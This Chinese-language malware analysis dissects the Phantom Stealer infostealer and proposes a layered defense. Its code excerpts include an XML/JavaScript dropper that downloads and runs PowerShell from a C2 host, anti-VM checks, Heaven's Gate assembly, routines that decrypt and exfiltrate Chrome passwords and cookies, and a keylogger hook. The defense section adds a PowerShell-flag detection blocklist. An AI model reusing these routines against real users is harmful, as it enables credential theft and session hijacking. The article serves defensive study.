摘要
Phantom Stealer 作为 2025 年下半年出现的新型多功能信息窃取木马，以多阶段感染、无文件驻留、强反检测与全维度凭证窃取为核心特征，通过伪装合法软件、脚本混淆、进程注入、 Heaven’s Gate 技术规避等手段，精准窃取浏览器密码、Cookie、信用卡信息、加密货币钱包数据、邮件配置与键盘输入等敏感凭证，对个人用户与机构信息安全构成严重威胁。本文以 Group‑IB 相关安全报告为基础，系统拆解 Phantom Stealer 的攻击链路、技术实现、数据窃取逻辑与规避机制，结合代码示例还原关键攻击环节，提出覆盖终端检测、网络防护、身份安全与运营治理的闭环防御方案。研究表明，Phantom Stealer 的攻击效能源于社会工程欺骗与高级代码对抗的深度融合，传统基于特征匹配的防护手段已难以有效拦截；反网络钓鱼技术专家芦笛指出，构建以语义意图识别、动态行为分析、内存取证与零信任身份为核心的主动防御体系，是抵御此类窃取木马的关键路径。本文结论可为终端安全防护、威胁狩猎与安全运营提供技术参考与实践指引。
1 引言
随着数字身份与在线服务深度渗透，用户凭证已成为网络黑产核心目标。窃取木马（Stealer）通过终端入侵定向提取账号密码、会话凭证、金融数据与隐私信息，形成黑色产业链，引发账号被盗、资金损失、数据泄露与内网渗透等安全事件。2025 年 10 月，安全厂商捕获新型窃取木马 Phantom Stealer，该样本以伪装 Adobe 安装程序为入口，依托 XML 混淆、PowerShell 无文件执行、DLL 注入、 Heaven’s Gate 跨架构执行等技术实现高隐蔽性入侵，可批量窃取 Chrome、Edge 等主流浏览器存储凭证、加密货币钱包数据、邮件配置与键盘记录信息，并通过 SMTP、FTP、Telegram、Discord 等多渠道回传数据，具备传播范围广、攻击链条完整、数据窃取全面、反检测能力强等特征。
现有研究多聚焦传统窃取木马的特征提取、家族分类与基础检测，针对新型多技术融合窃取木马的全链路拆解、代码级分析与闭环防御研究相对不足，难以支撑实战化防护需求。本文以 Phantom Stealer 为研究对象，基于公开威胁情报与样本行为特征，系统分析其攻击流程、核心技术、数据窃取逻辑与规避手段，通过代码示例还原关键执行环节，结合反网络钓鱼技术专家芦笛的防御理念，构建覆盖事前预防、事中检测、事后响应的一体化防御框架，为应对同类高级窃取木马提供理论支撑与工程实践方案。
本文结构如下：第二部分梳理凭证窃取木马发展脉络与 Phantom Stealer 基本特征；第三部分拆解多阶段攻击链路与核心技术实现；第四部分分析数据窃取模块与凭证提取逻辑；第五部分提出防御体系与关键技术实现；第六部分总结研究结论与未来方向。
2 凭证窃取木马发展与 Phantom Stealer 基础特征
2.1 凭证窃取木马演进趋势
凭证窃取木马历经单机键盘记录、浏览器数据提取、多功能模块化、无文件抗分析四个阶段，技术能力持续升级：
基础功能阶段：以键盘记录、屏幕截图为核心，依赖本地文件存储，易被查杀；
浏览器定向窃取阶段：针对 Chrome、Firefox 等 SQLite 加密数据库，通过 DPAPI 解密提取密码与 Cookie；
模块化集成阶段：整合进程注入、持久化、反虚拟机、多渠道回传功能，形成标准化攻击套件；
高级对抗阶段：采用无文件执行、代码混淆、 Heaven’s Gate 、隐写术加载等技术，降低静态与行为检测命中率，攻击更隐蔽、持续时间更长。
此类木马以最小成本获取高价值数据为目标，广泛应用于黑产账号盗号、金融欺诈、内网横向移动与数据倒卖，威胁个人与机构安全。
2.2 Phantom Stealer 核心特征
Phantom Stealer 于 2025 年 10 月首次被捕获，样本以伪装 Adobe 软件安装包为主要传播载体，具备以下特征：
传播方式：伪装 ISO 镜像、合法软件安装包，依托社交软件、邮件附件、盗版软件站点分发；
多阶段加载：XML 文档嵌入恶意 JavaScript→下载混淆 PowerShell→释放 DLL 注入器→加载窃取载荷；
抗分析能力：检测虚拟机 / 沙箱、硬编码黑名单匹配、 Heaven’s Gate 跨架构执行、进程自毁；
窃取范围：浏览器密码与 Cookie、信用卡信息、加密货币钱包、邮件配置、键盘记录、系统信息与屏幕截图；
数据回传：支持 SMTP、FTP、Telegram、Discord 等协议，数据按计算机名与时间戳分类存储；
系统适配：以 Windows 平台为核心，兼容 32/64 位系统，利用跨架构执行绕过用户态钩子监控。
反网络钓鱼技术专家芦笛强调，Phantom Stealer 代表新一代窃取木马的发展方向：攻击链路高度工程化、技术对抗性显著增强、数据窃取维度全面，传统终端防护易被绕过，必须以动态行为与内存取证为核心构建防御体系。
3 Phantom Stealer 攻击链路与核心技术实现
3.1 完整攻击链路
Phantom Stealer 采用社会工程诱骗 + 多阶段无文件加载模式，攻击流程如下：
初始投递：攻击者分发伪装 Adobe 安装程序的 ISO/XML 文档，文件名仿冒合法软件；
触发执行：用户打开 XML 文档，嵌入的 JavaScript 解析执行，发起网络请求；
载荷下载：从 C2 服务器下载混淆 PowerShell 脚本，无文件驻留内存执行；
环境检测：脚本检查虚拟机、沙箱、调试器与黑名单进程，不符合则自毁退出；
进程注入：释放 BlackHawk.dll 注入器，将恶意代码注入 explorer、svchost 等合法进程；
跨架构执行：通过 Heaven’s Gate 技术 32 位转 64 位执行，绕过用户态钩子监控；
数据窃取：启动多模块并行窃取浏览器、钱包、邮件、键盘等数据；
数据加密回传：加密窃取数据，通过多协议传输至攻击者服务器；
持久化驻留：创建计划任务、注册表项，实现开机自启与长期控制。
3.2 关键技术实现与代码示例
3.2.1 XML 文档嵌入恶意脚本
初始载体为混淆 XML 文档，嵌入 Base64 编码 JavaScript，触发后执行下载逻辑：
xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<data>
<script>
<![CDATA[
var c2 = "hxxps://malicious-server[.]com/payload.ps1";
var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.Open("GET", c2, false);
xmlhttp.Send();
var ps = xmlhttp.ResponseText;
var shell = new ActiveXObject("WScript.Shell");
shell.Run("powershell -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -EncodedCommand " + ps, 0);
]]>
</script>
</data>
</root>
该脚本绕过 Office / 系统默认解析规则，在无告警情况下触发 PowerShell 执行。
3.2.2 PowerShell 混淆与无文件执行
C2 返回的 PowerShell 脚本经多层混淆，核心功能为环境检测与载荷加载：
powershell
# 环境检测：虚拟机/沙箱用户名黑名单匹配
$blacklist = @("VMware","VirtualBox","Sandbox","Malwarebytes","qemu","kvm")
$username = $env:USERNAME.ToLower()
foreach ($item in $blacklist) {
if ($username.Contains($item)) { exit }
}
# 内存加载DLL注入器
$byte = [System.Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQ...")
$func = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([System.IntPtr]::Add($addr, 0x1000), [System.Action])
$func.Invoke()
脚本无磁盘落地，直接在内存解码执行，降低 EDR 特征命中概率。
3.2.3 反虚拟机与沙箱检测
Phantom Stealer 通过硬件信息、进程列表、注册表项实现环境判断，检测到分析环境则自毁：
BOOL CheckVM() {
// 检测BIOS信息
char bios[0x100] = {0};
GetSystemFirmwareTable('RSMB', 0, bios, 0x100);
if (strstr(bios, "VMware") || strstr(bios, "VirtualBox"))
return TRUE;
// 检测进程黑名单
DWORD pid[0x400], cbNeeded;
EnumProcesses(pid, sizeof(pid), &cbNeeded);
for (int i=0; i<cbNeeded/sizeof(DWORD); i++) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid[i]);
char name[0x20] = {0};
GetProcessImageFileName(hProcess, name, 0x20);
if (strstr(name, "sandbox") || strstr(name, "wireshark"))
return TRUE;
}
return FALSE;
}
检测通过后进入注入与窃取环节，否则终止进程并清理痕迹。
3.2.4 Heaven’s Gate 跨架构执行
核心规避技术，32 位载荷切换至 64 位执行，绕过 32 位用户态钩子：
asm
; Heaven's Gate 入口
mov eax, esp
sysenter
cmp edx, 0x23
jz x64_mode
; 32位执行逻辑
x64_mode:
; 64位系统调用执行
mov rax, 0x100
syscall
该技术直接调用原生 64 位系统函数，绕过安全软件监控，隐蔽性极强。
3.3 技术特点总结
分层加载：初始载体轻量，核心载荷后下载，降低样本检出率；
无文件驻留：PowerShell 与 DLL 内存执行，无磁盘痕迹；
强抗分析：多维度环境检测 + Heaven’s Gate ，绕过沙箱与动态分析；
进程伪装：注入合法系统进程，提升权限与隐蔽性；
模块化设计：窃取、回传、持久化解耦，便于迭代更新。
反网络钓鱼技术专家芦笛指出，此类攻击突破传统特征防护，防御必须转向内存行为、系统调用序列与进程异常关联分析。
4 Phantom Stealer 凭证窃取模块与数据提取逻辑
4.1 核心窃取模块
Phantom Stealer 采用模块化架构，并行提取多类敏感数据：
浏览器凭证模块：针对 Chromium 内核浏览器，解析 Login Data、Cookies 数据库；
金融数据模块：提取浏览器存储信用卡号、有效期、CVV；
加密货币模块：扫描桌面与浏览器扩展钱包目录，窃取助记词与私钥；
邮件模块：提取 Outlook 等配置文件与账号密码；
键盘记录模块：全局钩子记录按键，定时写入文件；
系统信息模块：采集硬件信息、进程列表、网络配置，用于精准诈骗；
屏幕截图模块：定时截屏，获取用户操作画面。
4.2 浏览器凭证提取实现
主流浏览器采用SQLite+DPAPI存储加密凭证，Phantom Stealer 通过 API 解密提取：
// 读取Chrome密码数据库
BOOL StealChromePasswords() {
// 复制数据库文件避免锁定
CopyFile("C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", "C:\\Temp\\Login.db", FALSE);
sqlite3_open("C:\\Temp\\Login.db", &db);
// 查询账号密码密文
sqlite3_exec(db, "SELECT origin_url, username_value, password_value FROM logins", Callback, 0, 0);
// DPAPI解密
DATA_BLOB cipher, plain;
cipher.pbData = pwdCipher;
cipher.cbData = len;
CryptUnprotectData(&cipher, NULL, NULL, NULL, NULL, 0, &plain);
// 存储明文凭证
WriteFile(hFile, plain.pbData, plain.cbData, &dwWrite, NULL);
return TRUE;
}
该代码直接读取数据库并解密，获取完整登录凭证。
4.3 Cookie 窃取与会话劫持
Cookie 是登录会话核心凭证，Phantom Stealer 定向窃取实现无密码登录：
void StealBrowserCookies() {
// 遍历Cookie数据库
sqlite3_exec(cookieDb, "SELECT host_key, name, encrypted_value FROM cookies", CookieCallback, 0, 0);
// 解密并回传
CryptUnprotectData(&encBlob, NULL, NULL, NULL, 0, &decBlob);
// 拼接Cookie用于会话劫持
sprintf(cookie, "%s=%s; host=%s\r\n", name, value, host);
SendDataToC2(cookie, strlen(cookie));
}
攻击者可直接使用 Cookie 登录邮箱、云平台、电商与金融账户，绕过 2FA 验证。
4.4 键盘记录模块
全局钩子捕获用户输入，覆盖密码、验证码、聊天内容等高敏感信息：
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && wParam == WM_KEYDOWN) {
char key[0x10] = {0};
GetKeyNameText(lParam, key, 0x10);
// 写入日志文件
WriteLog(key);
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
日志定时加密回传，形成完整输入轨迹。
4.5 数据回传机制
支持多协议冗余回传，提升数据送达率：
SMTP：邮件发送至指定邮箱；
FTP：上传至受控服务器；
Telegram/Discord：通过 Bot API 发送至频道；
命名规则：Victim_[计算机名]_[时间戳].zip，便于分类管理。
反网络钓鱼技术专家芦笛强调，Cookie 与键盘记录组合可突破多因素认证，防御必须强化会话绑定、异常登录检测与实时告警。
5 Phantom Stealer 防御体系构建
5.1 防御痛点分析
传统特征库滞后于样本迭代；
无文件与内存执行难以被静态检测；
合法进程注入隐蔽性高；
用户易被社会工程诱骗；
单点防护无法阻断全链路。
基于此，构建终端 + 网络 + 身份 + 运营四层闭环防御体系。
5.2 终端防护层
5.2.1 内存与行为检测
监控 PowerShell、Cmd 行参数，拦截无文件执行：
def detect_malicious_ps(command):
# 检测敏感参数
black_args = ["-EncodedCommand", "-NoProfile", "-NonInteractive", "-ExecutionPolicy Bypass"]
for arg in black_args:
if arg in command:
return True
# 检测网络下载行为
if "http" in command and ("DownloadString" in command or "FromBase64String" in command):
return True
return False
EDR 需重点监控进程注入、未签名 DLL 加载、DPAPI 调用、全局钩子安装。
5.2.2 环境加固
禁用 Office / 系统不必要的 ActiveX、WMI、脚本执行能力；
开启 PowerShell 约束模式与日志审计；
限制普通用户权限，阻止写入启动项与计划任务；
开启系统内核隔离与内存保护。
5.3 网络防护层
恶意流量阻断：黑名单 + 威胁情报拦截 C2、恶意下载域名；
异常外发检测：监控终端向陌生 SMTP、FTP、Telegram API 外发数据；
邮件网关：拦截恶意附件与钓鱼链接，沙箱动态分析 ISO、XML、JS 等文件；
DNS 安全：开启 DNSSEC 与恶意域名拦截，降低域名伪装成功率。
5.4 身份与数据安全层
凭证安全：启用密码管理器，禁用弱密码，定期轮换；
会话加固：Cookie 设置 HttpOnly、Secure、SameSite，缩短有效期；
多因素认证：核心系统强制开启 2FA/MFA，降低单凭证泄露风险；
数据脱敏：浏览器禁止自动保存金融、邮箱等高敏感账号密码。
5.5 安全运营与响应层
威胁狩猎：监控进程异常注入、PowerShell 异常执行、敏感数据外发；
快速响应：建立样本沙箱分析、内存取证、C2 溯源、隔离清除流程；
意识培训：提升用户对伪装软件、钓鱼附件、盗版链接的识别能力；
漏洞管理：及时修复系统与软件漏洞，阻断利用通道。
反网络钓鱼技术专家芦笛指出，防御关键在于阻断入口、检测内存、加固身份、快速响应，形成技术与管理协同的闭环体系，持续对抗迭代升级的窃取木马。
6 结论与展望
本文以 Phantom Stealer 为研究对象，基于 Group‑IB 等安全情报，系统分析其攻击链路、核心技术、窃取模块与规避机制，结合代码示例还原关键环节，提出四层闭环防御体系。研究表明：
Phantom Stealer 融合社会工程、无文件执行、进程注入、 Heaven’s Gate 等技术，具备高隐蔽性与强对抗性；
窃取模块覆盖浏览器、金融、加密货币、邮件、键盘等全维度凭证，可突破传统防护；
传统特征防护失效，必须以内存行为、系统调用、异常关联为核心构建主动防御；
闭环防御需覆盖终端、网络、身份、运营全流程，强化人机协同。
未来，窃取木马将向 AI 驱动钓鱼、轻量化抗分析、跨平台传播、内网横向扩展方向演进，防御需向 AI 对抗检测、轻量化 EDR、统一身份治理、实时威胁狩猎升级。本文可为终端安全、威胁情报、安全运营提供参考，助力提升凭证窃取木马防护能力。
编辑：芦笛（公共互联网反网络钓鱼工作组）
